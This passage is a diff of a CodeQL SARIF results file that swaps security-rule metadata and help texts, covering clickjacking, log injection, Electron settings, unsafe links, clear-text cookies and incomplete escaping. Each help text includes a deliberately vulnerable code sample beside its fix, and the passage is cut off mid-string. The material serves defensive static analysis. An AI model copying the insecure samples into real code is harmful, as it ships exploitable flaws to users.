-            "text" : "# Log Injection\n\nIf unsanitized user input is written to a log entry using the CAP Node.js logging API, a malicious user may be able to forge new log entries.\n\nCAP Node.js offers a CLRF-safe logging API that should be used for application log entries that are logged as plaintext. If the entry is interpreted as HTML, then arbitrary HTML code my be included to forge log entries.\n\n## Recommendation\n\nCAP applications need to care for escaping user data that is used as input parameter for application logging.  It's recommended to make use of an existing Encoder such as OWASP ESAPI.\n\n## Examples\n\nThis CAP service directly logs what the user submitted via the `req` request.\n\n``` javascript\nimport cds from '@sap/cds'\nconst { Books } = cds.entities ('sap.capire.bookshop')\n\nclass SampleVulnService extends cds.ApplicationService { init(){\n  this.on ('submitOrder', async req => {\n    const {book,quantity} = req.data\n    const LOG = cds.log(\"nodejs\");\n    LOG.info(\"test\" + book); // Log injection alert\n  })\n\n  return super.init()\n}}\n```\n\n## References\n\n- OWASP: [Log Injection](https://owasp.org/www-community/attacks/Log_Injection).\n- OWASP: [Log Injection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html).\n- SAP CAPire Documentation: [Security Aspects](https://cap.cloud.sap/docs/guides/security/aspects#common-injection-attacks).\n",
-            "markdown" : "# Log Injection\n\nIf unsanitized user input is written to a log entry using the CAP Node.js logging API, a malicious user may be able to forge new log entries.\n\nCAP Node.js offers a CLRF-safe logging API that should be used for application log entries that are logged as plaintext. If the entry is interpreted as HTML, then arbitrary HTML code my be included to forge log entries.\n\n## Recommendation\n\nCAP applications need to care for escaping user data that is used as input parameter for application logging.  It's recommended to make use of an existing Encoder such as OWASP ESAPI.\n\n## Examples\n\nThis CAP service directly logs what the user submitted via the `req` request.\n\n``` javascript\nimport cds from '@sap/cds'\nconst { Books } = cds.entities ('sap.capire.bookshop')\n\nclass SampleVulnService extends cds.ApplicationService { init(){\n  this.on ('submitOrder', async req => {\n    const {book,quantity} = req.data\n    const LOG = cds.log(\"nodejs\");\n    LOG.info(\"test\" + book); // Log injection alert\n  })\n\n  return super.init()\n}}\n```\n\n## References\n\n- OWASP: [Log Injection](https://owasp.org/www-community/attacks/Log_Injection).\n- OWASP: [Log Injection Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Logging_Cheat_Sheet.html).\n- SAP CAPire Documentation: [Security Aspects](https://cap.cloud.sap/docs/guides/security/aspects#common-injection-attacks).\n"
+            "text" : "# Clickjacking\n\nUI5 applications that do not explicitly set the frame options to `deny` may be vulnerable to UI redress attacks (”clickjacking”). In these attacks, the vulnerable site is loaded in a frame on an attacker-controlled site which uses opaque or transparent layers to trick the user into unintentionally clicking a button or link on the vulnerable site.\n\n## Recommendation\n\nExplicitly set the frame options to `\"deny\"`, either through `window[\"sap-ui-config\"]`, or `data-sap-ui-frameOptions` attribute of the script tag where it sources the bootstrap script `\"sap-ui-core.js\"`:\n\n``` javascript\nwindow[\"sap-ui-config\"] = {\n  frameOptions: \"deny\",\n  ...\n};\n```\n\n``` javascript\nwindow[\"sap-ui-config\"].frameOptions = \"deny\";\n```\n\n``` html\n<script src=\"resources/sap-ui-core.js\" data-sap-ui-frameOptions=\"deny\"></script>\n```\n\n## Example\n\n### Setting the Frame Options to `\"allow\"`\n\nThis UI5 application explicitly allows to be embedded in other applications.\n\n```javascript\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    ...\n    <script>\n      window[\"sap-ui-config\"] = {\n        frameOptions: \"allow\",  // either through JS\n        ...\n      };\n    </script>\n\n    <script\n      src=\"resources/sap-ui-core.js\"\n      data-sap-ui-frameOptions=\"allow\"  // or through this HTML attribute\n    ></script>\n  </head>\n  ...\n</html>\n```\n\n### Not Setting the Frame Options to Anything\n\nThe default value of `window[\"sap-ui-config\"]` and `data-sap-ui-frameOptions` are both `\"allow\"`, which makes leaving it untouched allows the application to be embedded.\n\n## References\n* OWASP: [Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html).\n* Mozilla: [X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options).\n* SAP UI5 Documentation: [Frame Options](https://sapui5.hana.ondemand.com/sdk/#/topic/62d9c4d8f5ad49aa914624af9551beb7.html).\n* SAP UI5 Documentation: [Allowlist Service](https://sapui5.hana.ondemand.com/sdk/#/topic/d04a6d41480c4396af16b5d2b25509ec.html).\n* Common Weakness Enumeration: [CWE-451](https://cwe.mitre.org/data/definitions/451.html).\n",
+            "markdown" : "# Clickjacking\n\nUI5 applications that do not explicitly set the frame options to `deny` may be vulnerable to UI redress attacks (”clickjacking”). In these attacks, the vulnerable site is loaded in a frame on an attacker-controlled site which uses opaque or transparent layers to trick the user into unintentionally clicking a button or link on the vulnerable site.\n\n## Recommendation\n\nExplicitly set the frame options to `\"deny\"`, either through `window[\"sap-ui-config\"]`, or `data-sap-ui-frameOptions` attribute of the script tag where it sources the bootstrap script `\"sap-ui-core.js\"`:\n\n``` javascript\nwindow[\"sap-ui-config\"] = {\n  frameOptions: \"deny\",\n  ...\n};\n```\n\n``` javascript\nwindow[\"sap-ui-config\"].frameOptions = \"deny\";\n```\n\n``` html\n<script src=\"resources/sap-ui-core.js\" data-sap-ui-frameOptions=\"deny\"></script>\n```\n\n## Example\n\n### Setting the Frame Options to `\"allow\"`\n\nThis UI5 application explicitly allows to be embedded in other applications.\n\n```javascript\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    ...\n    <script>\n      window[\"sap-ui-config\"] = {\n        frameOptions: \"allow\",  // either through JS\n        ...\n      };\n    </script>\n\n    <script\n      src=\"resources/sap-ui-core.js\"\n      data-sap-ui-frameOptions=\"allow\"  // or through this HTML attribute\n    ></script>\n  </head>\n  ...\n</html>\n```\n\n### Not Setting the Frame Options to Anything\n\nThe default value of `window[\"sap-ui-config\"]` and `data-sap-ui-frameOptions` are both `\"allow\"`, which makes leaving it untouched allows the application to be embedded.\n\n## References\n* OWASP: [Clickjacking Defense Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html).\n* Mozilla: [X-Frame-Options](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options).\n* SAP UI5 Documentation: [Frame Options](https://sapui5.hana.ondemand.com/sdk/#/topic/62d9c4d8f5ad49aa914624af9551beb7.html).\n* SAP UI5 Documentation: [Allowlist Service](https://sapui5.hana.ondemand.com/sdk/#/topic/d04a6d41480c4396af16b5d2b25509ec.html).\n* Common Weakness Enumeration: [CWE-451](https://cwe.mitre.org/data/definitions/451.html).\n"
           },
           "properties" : {
-            "tags" : [ "security" ],
-            "description" : "Building log entries from user-controlled sources is vulnerable to\n              insertion of forged log entries by a malicious user.",
-            "id" : "js/cap-log-injection",
-            "kind" : "path-problem",
-            "name" : "CAP Log injection",
+            "tags" : [ "security", "external/cwe/cwe-451" ],
+            "description" : "The absence of frame options allows for clickjacking.",
+            "id" : "js/ui5-clickjacking",
+            "kind" : "problem",
+            "name" : "UI5 Clickjacking",
             "precision" : "medium",
             "problem.severity" : "error",
             "security-severity" : "6.1"
           }
         } ],
         "locations" : [ {
-          "uri" : "file:///home/runner/work/codeql-sap-js/codeql-sap-js/javascript/frameworks/cap/src/",
+          "uri" : "file:///home/runner/work/codeql-sap-js/codeql-sap-js/javascript/frameworks/ui5/src/",
           "description" : {
             "text" : "The QL pack root directory."
           }
         }, {
-          "uri" : "file:///home/runner/work/codeql-sap-js/codeql-sap-js/javascript/frameworks/cap/src/qlpack.yml",
+          "uri" : "file:///home/runner/work/codeql-sap-js/codeql-sap-js/javascript/frameworks/ui5/src/qlpack.yml",
           "description" : {
             "text" : "The QL pack definition file."
           }
         } ]
+      }, {
+        "name" : "generated/extension-pack",
+        "semanticVersion" : "0.0.0",
+        "locations" : [ {
+          "uri" : "file:///home/runner/work/_temp/codeql_databases/javascript/temp/extension-pack/",
+          "description" : {
+            "text" : "The QL pack root directory."
+          }
+        }, {
+          "uri" : "file:///home/runner/work/_temp/codeql_databases/javascript/temp/extension-pack/codeql-pack.yml",
+          "description" : {
+            "text" : "The QL pack definition file."
+          }
+        } ],
+        "properties" : {
+          "isCodeQLModelPack" : true
+        }
       }, {
         "name" : "codeql/javascript-queries",
-        "semanticVersion" : "0.8.9+8a00a45b32679ddced400ab256706c79c1169e38",
+        "semanticVersion" : "0.8.10+2daf50500ca8f7eb914c82e88dec36652bfbe8fd",
         "notifications" : [ {
           "id" : "js/diagnostics/extraction-errors",
           "name" : "js/diagnostics/extraction-errors",
@@ -303,1020 +320,966 @@
           }
         } ],
         "rules" : [ {
-          "id" : "js/disabling-electron-websecurity",
-          "name" : "js/disabling-electron-websecurity",
+          "id" : "js/unsafe-external-link",
+          "name" : "js/unsafe-external-link",
           "shortDescription" : {
-            "text" : "Disabling Electron webSecurity"
+            "text" : "Potentially unsafe external link"
           },
           "fullDescription" : {
-            "text" : "Disabling webSecurity can cause critical security vulnerabilities."
+            "text" : "External links that open in a new tab or window but do not specify link type 'noopener' or 'noreferrer' are a potential security risk."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "error"
+            "level" : "warning"
           },
           "help" : {
-            "text" : "# Disabling Electron webSecurity\nElectron is secure by default through a same-origin policy requiring all JavaScript and CSS code to originate from the machine running the Electron application. Setting the `webSecurity` property of a `webPreferences` object to `false` will disable the same-origin policy.\n\nDisabling the same-origin policy is strongly discouraged.\n\n\n## Recommendation\nDo not disable `webSecurity`.\n\n\n## Example\nThe following example shows `webSecurity` being disabled.\n\n\n```javascript\nconst mainWindow = new BrowserWindow({\n  webPreferences: {\n    webSecurity: false\n  }\n})\n```\nThis is problematic, since it allows the execution of insecure code from other domains.\n\n\n## References\n* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#5-do-not-disable-websecurity)\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n",
-            "markdown" : "# Disabling Electron webSecurity\nElectron is secure by default through a same-origin policy requiring all JavaScript and CSS code to originate from the machine running the Electron application. Setting the `webSecurity` property of a `webPreferences` object to `false` will disable the same-origin policy.\n\nDisabling the same-origin policy is strongly discouraged.\n\n\n## Recommendation\nDo not disable `webSecurity`.\n\n\n## Example\nThe following example shows `webSecurity` being disabled.\n\n\n```javascript\nconst mainWindow = new BrowserWindow({\n  webPreferences: {\n    webSecurity: false\n  }\n})\n```\nThis is problematic, since it allows the execution of insecure code from other domains.\n\n\n## References\n* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#5-do-not-disable-websecurity)\n* Common Weakness Enumeration: [CWE-79](https://cwe.mitre.org/data/definitions/79.html).\n"
+            "text" : "# Potentially unsafe external link\nHTML links that open in a new tab or window allow the target page to access the DOM of the origin page using `window.opener` unless link type `noopener` or `noreferrer` is specified. This is a potential security risk.\n\n\n## Recommendation\nSpecify the link type by adding an attribute `rel=\"noopener noreferrer\"`.\n\n\n## Example\nIn the following example, a JSX element is created that corresponds to an HTML link opening the URL `http://example.com` in a new tab. Since it does not specify a link type, that page will be able to access the DOM of the origin page.\n\n\n```javascript\nvar link = <a href=\"http://example.com\" target=\"_blank\">Example</a>;\n\n```\nTo fix this vulnerability, add a `rel` attribute:\n\n\n```javascript\nvar link = <a href=\"http://example.com\" target=\"_blank\" rel=\"noopener noreferrer\">Example</a>;\n\n```\n\n## References\n* Mathias Bynens: [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/).\n* Mozilla Developer Network: [HTML Anchor Element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n* Common Weakness Enumeration: [CWE-1022](https://cwe.mitre.org/data/definitions/1022.html).\n",
+            "markdown" : "# Potentially unsafe external link\nHTML links that open in a new tab or window allow the target page to access the DOM of the origin page using `window.opener` unless link type `noopener` or `noreferrer` is specified. This is a potential security risk.\n\n\n## Recommendation\nSpecify the link type by adding an attribute `rel=\"noopener noreferrer\"`.\n\n\n## Example\nIn the following example, a JSX element is created that corresponds to an HTML link opening the URL `http://example.com` in a new tab. Since it does not specify a link type, that page will be able to access the DOM of the origin page.\n\n\n```javascript\nvar link = <a href=\"http://example.com\" target=\"_blank\">Example</a>;\n\n```\nTo fix this vulnerability, add a `rel` attribute:\n\n\n```javascript\nvar link = <a href=\"http://example.com\" target=\"_blank\" rel=\"noopener noreferrer\">Example</a>;\n\n```\n\n## References\n* Mathias Bynens: [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/).\n* Mozilla Developer Network: [HTML Anchor Element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n* Common Weakness Enumeration: [CWE-1022](https://cwe.mitre.org/data/definitions/1022.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "frameworks/electron", "external/cwe/cwe-79" ],
-            "description" : "Disabling webSecurity can cause critical security vulnerabilities.",
-            "id" : "js/disabling-electron-websecurity",
+            "tags" : [ "maintainability", "security", "external/cwe/cwe-200", "external/cwe/cwe-1022" ],
+            "description" : "External links that open in a new tab or window but do not specify\n              link type 'noopener' or 'noreferrer' are a potential security risk.",
+            "id" : "js/unsafe-external-link",
             "kind" : "problem",
-            "name" : "Disabling Electron webSecurity",
+            "name" : "Potentially unsafe external link",
             "precision" : "very-high",
-            "problem.severity" : "error",
-            "security-severity" : "6.1"
+            "problem.severity" : "warning",
+            "security-severity" : "6.5"
           }
         }, {
-          "id" : "js/enabling-electron-insecure-content",
-          "name" : "js/enabling-electron-insecure-content",
+          "id" : "js/clear-text-cookie",
+          "name" : "js/clear-text-cookie",
           "shortDescription" : {
-            "text" : "Enabling Electron allowRunningInsecureContent"
+            "text" : "Clear text transmission of sensitive cookie"
           },
           "fullDescription" : {
-            "text" : "Enabling allowRunningInsecureContent can allow remote code execution."
+            "text" : "Sending sensitive information in a cookie without requring SSL encryption can expose the cookie to an attacker."
           },
           "defaultConfiguration" : {
             "enabled" : true,
-            "level" : "error"
+            "level" : "warning"
           },
           "help" : {
-            "text" : "# Enabling Electron allowRunningInsecureContent\nElectron is secure by default through a policy banning the execution of content loaded over HTTP. Setting the `allowRunningInsecureContent` property of a `webPreferences` object to `true` will disable this policy.\n\nEnabling the execution of insecure content is strongly discouraged.\n\n\n## Recommendation\nDo not enable the `allowRunningInsecureContent` property.\n\n\n## Example\nThe following example shows `allowRunningInsecureContent` being enabled.\n\n\n```javascript\nconst mainWindow = new BrowserWindow({\n  webPreferences: {\n    allowRunningInsecureContent: true\n  }\n})\n```\nThis is problematic, since it allows the execution of code from an untrusted origin.\n\n\n## References\n* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#8-do-not-set-allowrunninginsecurecontent-to-true)\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n",
-            "markdown" : "# Enabling Electron allowRunningInsecureContent\nElectron is secure by default through a policy banning the execution of content loaded over HTTP. Setting the `allowRunningInsecureContent` property of a `webPreferences` object to `true` will disable this policy.\n\nEnabling the execution of insecure content is strongly discouraged.\n\n\n## Recommendation\nDo not enable the `allowRunningInsecureContent` property.\n\n\n## Example\nThe following example shows `allowRunningInsecureContent` being enabled.\n\n\n```javascript\nconst mainWindow = new BrowserWindow({\n  webPreferences: {\n    allowRunningInsecureContent: true\n  }\n})\n```\nThis is problematic, since it allows the execution of code from an untrusted origin.\n\n\n## References\n* Electron Documentation: [Security, Native Capabilities, and Your Responsibility](https://electronjs.org/docs/tutorial/security#8-do-not-set-allowrunninginsecurecontent-to-true)\n* Common Weakness Enumeration: [CWE-494](https://cwe.mitre.org/data/definitions/494.html).\n"
+            "text" : "# Clear text transmission of sensitive cookie\nCookies that are transmitted in clear text can be intercepted by an attacker. If sensitive cookies are intercepted, the attacker can read the cookie and use it to perform actions on the user's behalf.\n\n\n## Recommendation\nAlways transmit sensitive cookies using SSL by setting the `secure` attribute on the cookie.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be transmitted in clear text.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-614](https://cwe.mitre.org/data/definitions/614.html).\n* Common Weakness Enumeration: [CWE-311](https://cwe.mitre.org/data/definitions/311.html).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n",
+            "markdown" : "# Clear text transmission of sensitive cookie\nCookies that are transmitted in clear text can be intercepted by an attacker. If sensitive cookies are intercepted, the attacker can read the cookie and use it to perform actions on the user's behalf.\n\n\n## Recommendation\nAlways transmit sensitive cookies using SSL by setting the `secure` attribute on the cookie.\n\n\n## Example\nThe following example stores an authentication token in a cookie that can be transmitted in clear text.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\nTo force the cookie to be transmitted using SSL, set the `secure` attribute on the cookie.\n\n\n```javascript\nconst http = require('http');\n\nconst server = http.createServer((req, res) => {\n    res.setHeader(\"Set-Cookie\", `authKey=${makeAuthkey()}; secure; httpOnly`);\n    res.writeHead(200, { 'Content-Type': 'text/html' });\n    res.end('<h2>Hello world</h2>');\n});\n```\n\n## References\n* ExpressJS: [Use cookies securely](https://expressjs.com/en/advanced/best-practice-security.html#use-cookies-securely).\n* OWASP: [Set cookie flags appropriately](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#set-cookie-flags-appropriately).\n* Mozilla: [Set-Cookie](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie).\n* Common Weakness Enumeration: [CWE-614](https://cwe.mitre.org/data/definitions/614.html).\n* Common Weakness Enumeration: [CWE-311](https://cwe.mitre.org/data/definitions/311.html).\n* Common Weakness Enumeration: [CWE-312](https://cwe.mitre.org/data/definitions/312.html).\n* Common Weakness Enumeration: [CWE-319](https://cwe.mitre.org/data/definitions/319.html).\n"
           },
           "properties" : {
-            "tags" : [ "security", "frameworks/electron", "external/cwe/cwe-494" ],
-            "description" : "Enabling allowRunningInsecureContent can allow remote code execution.",
-            "id" : "js/enabling-electron-insecure-content",
+            "tags" : [ "security", "external/cwe/cwe-614", "external/cwe/cwe-311", "external/cwe/cwe-312", "external/cwe/cwe-319" ],
+            "description" : "Sending sensitive information in a cookie without requring SSL encryption\n              can expose the cookie to an attacker.",
+            "id" : "js/clear-text-cookie",
             "kind" : "problem",
-            "name" : "Enabling Electron allowRunningInsecureContent",
-            "precision" : "very-high",
-            "problem.severity" : "error",
-            "security-severity" : "8.8"
+            "name" : "Clear text transmission of sensitive cookie",
+            "precision" : "high",
+            "problem.severity" : "warning",
+            "security-severity" : "5.0"
           }
         }, {
-          "id" : "js/unsafe-external-link",
-          "name" : "js/unsafe-external-link",
+          "id" : "js/incomplete-sanitization",
+          "name" : "js/incomplete-sanitization",
           "shortDescription" : {
-            "text" : "Potentially unsafe external link"
+            "text" : "Incomplete string escaping or encoding"
           },
           "fullDescription" : {
-            "text" : "External links that open in a new tab or window but do not specify link type 'noopener' or 'noreferrer' are a potential security risk."
+            "text" : "A string transformer that does not replace or escape all occurrences of a meta-character may be ineffective."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Potentially unsafe external link\nHTML links that open in a new tab or window allow the target page to access the DOM of the origin page using `window.opener` unless link type `noopener` or `noreferrer` is specified. This is a potential security risk.\n\n\n## Recommendation\nSpecify the link type by adding an attribute `rel=\"noopener noreferrer\"`.\n\n\n## Example\nIn the following example, a JSX element is created that corresponds to an HTML link opening the URL `http://example.com` in a new tab. Since it does not specify a link type, that page will be able to access the DOM of the origin page.\n\n\n```javascript\nvar link = <a href=\"http://example.com\" target=\"_blank\">Example</a>;\n\n```\nTo fix this vulnerability, add a `rel` attribute:\n\n\n```javascript\nvar link = <a href=\"http://example.com\" target=\"_blank\" rel=\"noopener noreferrer\">Example</a>;\n\n```\n\n## References\n* Mathias Bynens: [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/).\n* Mozilla Developer Network: [HTML Anchor Element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n* Common Weakness Enumeration: [CWE-1022](https://cwe.mitre.org/data/definitions/1022.html).\n",
-            "markdown" : "# Potentially unsafe external link\nHTML links that open in a new tab or window allow the target page to access the DOM of the origin page using `window.opener` unless link type `noopener` or `noreferrer` is specified. This is a potential security risk.\n\n\n## Recommendation\nSpecify the link type by adding an attribute `rel=\"noopener noreferrer\"`.\n\n\n## Example\nIn the following example, a JSX element is created that corresponds to an HTML link opening the URL `http://example.com` in a new tab. Since it does not specify a link type, that page will be able to access the DOM of the origin page.\n\n\n```javascript\nvar link = <a href=\"http://example.com\" target=\"_blank\">Example</a>;\n\n```\nTo fix this vulnerability, add a `rel` attribute:\n\n\n```javascript\nvar link = <a href=\"http://example.com\" target=\"_blank\" rel=\"noopener noreferrer\">Example</a>;\n\n```\n\n## References\n* Mathias Bynens: [About rel=noopener](https://mathiasbynens.github.io/rel-noopener/).\n* Mozilla Developer Network: [HTML Anchor Element](https://developer.mozilla.org/en-US/docs/Web/HTML/Element/a).\n* Common Weakness Enumeration: [CWE-200](https://cwe.mitre.org/data/definitions/200.html).\n* Common Weakness Enumeration: [CWE-1022](https://cwe.mitre.org/data/definitions/1022.html).\n"
+            "text" : "# Incomplete string escaping or encoding\nSanitizing untrusted input is a common technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters.\n\nHowever, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself.\n\nIn the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective.\n\nEven if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output.\n\n\n## Recommendation\nUse a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\nOtherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable.\n\n\n## Example\nFor example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them:\n\n\n```javascript\nfunction escapeQuotes(s) {\n  return s.replace(\"'\", \"''\");\n}\n\n```\nAs written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced.\n\nAs mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources.\n\nIf this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` (\"global\") flag instead:\n\n\n```javascript\nfunction escapeQuotes(s) {\n  return s.replace(/'/g, \"''\");\n}\n\n```\nNote that it is very important to include the global flag: `s.replace(/'/, \"''\")` *without* the global flag is equivalent to the first example above and only replaces the first quote.\n\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package.\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n",
+            "markdown" : "# Incomplete string escaping or encoding\nSanitizing untrusted input is a common technique for preventing injection attacks such as SQL injection or cross-site scripting. Usually, this is done by escaping meta-characters such as quotes in a domain-specific way so that they are treated as normal characters.\n\nHowever, directly using the string `replace` method to perform escaping is notoriously error-prone. Common mistakes include only replacing the first occurrence of a meta-character, or backslash-escaping various meta-characters but not the backslash itself.\n\nIn the former case, later meta-characters are left undisturbed and can be used to subvert the sanitization. In the latter case, preceding a meta-character with a backslash leads to the backslash being escaped, but the meta-character appearing un-escaped, which again makes the sanitization ineffective.\n\nEven if the escaped string is not used in a security-critical context, incomplete escaping may still have undesirable effects, such as badly rendered or confusing output.\n\n\n## Recommendation\nUse a (well-tested) sanitization library if at all possible. These libraries are much more likely to handle corner cases correctly than a custom implementation.\n\nAn even safer alternative is to design the application so that sanitization is not needed, for instance by using prepared statements for SQL queries.\n\nOtherwise, make sure to use a regular expression with the `g` flag to ensure that all occurrences are replaced, and remember to escape backslashes if applicable.\n\n\n## Example\nFor example, assume that we want to embed a user-controlled string `accountNumber` into a SQL query as part of a string literal. To avoid SQL injection, we need to ensure that the string does not contain un-escaped single-quote characters. The following function attempts to ensure this by doubling single quotes, and thereby escaping them:\n\n\n```javascript\nfunction escapeQuotes(s) {\n  return s.replace(\"'\", \"''\");\n}\n\n```\nAs written, this sanitizer is ineffective: if the first argument to `replace` is a string literal (as in this case), only the *first* occurrence of that string is replaced.\n\nAs mentioned above, the function `escapeQuotes` should be replaced with a purpose-built sanitization library, such as the npm module `sqlstring`. Many other sanitization libraries are available from npm and other sources.\n\nIf this is not an option, `escapeQuotes` should be rewritten to use a regular expression with the `g` (\"global\") flag instead:\n\n\n```javascript\nfunction escapeQuotes(s) {\n  return s.replace(/'/g, \"''\");\n}\n\n```\nNote that it is very important to include the global flag: `s.replace(/'/, \"''\")` *without* the global flag is equivalent to the first example above and only replaces the first quote.\n\n\n## References\n* OWASP Top 10: [A1 Injection](https://www.owasp.org/index.php/Top_10-2017_A1-Injection).\n* npm: [sqlstring](https://www.npmjs.com/package/sqlstring) package.\n* Common Weakness Enumeration: [CWE-20](https://cwe.mitre.org/data/definitions/20.html).\n* Common Weakness Enumeration: [CWE-80](https://cwe.mitre.org/data/definitions/80.html).\n* Common Weakness Enumeration: [CWE-116](https://cwe.mitre.org/data/definitions/116.html).\n"
           },
           "properties" : {
-            "tags" : [ "maintainability", "security", "external/cwe/cwe-200", "external/cwe/cwe-1022" ],
-            "description" : "External links that open in a new tab or window but do not specify\n              link type 'noopener' or 'noreferrer' are a potential security risk.",
-            "id" : "js/unsafe-external-link",
+            "tags" : [ "correctness", "security", "external/cwe/cwe-020", "external/cwe/cwe-080", "external/cwe/cwe-116" ],
+            "description" : "A string transformer that does not replace or escape all occurrences of a\n              meta-character may be ineffective.",
+            "id" : "js/incomplete-sanitization",
             "kind" : "problem",
-            "name" : "Potentially unsafe external link",
-            "precision" : "very-high",
+            "name" : "Incomplete string escaping or encoding",
+            "precision" : "high",
             "problem.severity" : "warning",
-            "security-severity" : "6.5"
+            "security-severity" : "7.8"
           }
         }, {
-          "id" : "js/angular/double-compilation",
-          "name" : "js/angular/double-compilation",
+          "id" : "js/unsafe-html-expansion",
+          "name" : "js/unsafe-html-expansion",
           "shortDescription" : {
-            "text" : "Double compilation"
+            "text" : "Unsafe expansion of self-closing HTML tag"
           },
           "fullDescription" : {
-            "text" : "Recompiling an already compiled part of the DOM can lead to unexpected behavior of directives, performance problems, and memory leaks."
+            "text" : "Using regular expressions to expand self-closing HTML tags may lead to cross-site scripting vulnerabilities."
           },
           "defaultConfiguration" : {
             "enabled" : true,
             "level" : "warning"
           },
           "help" : {
-            "text" : "# Double compilation\nThe AngularJS compiler processes (parts of) the DOM, determining which directives match which DOM elements, and then applies the directives to the elements. Each DOM element should only be compiled once, otherwise unexpected behavior may result.\n\n\n## Recommendation\nOnly compile new DOM elements.\n\n\n## Example\nThe following example (adapted from the AngularJS developer guide) shows a directive that adds a tooltip to a DOM element, and then compiles the entire element to apply nested directives.\n\n\n```javascript\nangular.module('myapp')\n       .directive('addToolTip', function($compile) {\n  return {\n    link: function(scope, element, attrs) {\n      var tooltip = angular.element('<span ng-show=\"showToolTip\">A tooltip</span>');\n      tooltip.on('mouseenter mouseleave', function() {\n        scope.$apply('showToolTip = !showToolTip');\n      });\n      element.append(tooltip);\n      $compile(element)(scope); // NOT OK\n    }\n  };\n});\n\n```\nThis is problematic, since it will recompile all of `element`, including parts that have already been compiled.\n\nInstead, only the new element should be compiled:\n\n\n```javascript\nangular.module('myapp')\n       .directive('addToolTip', function($compile) {\n  return {\n    link: function(scope, element, 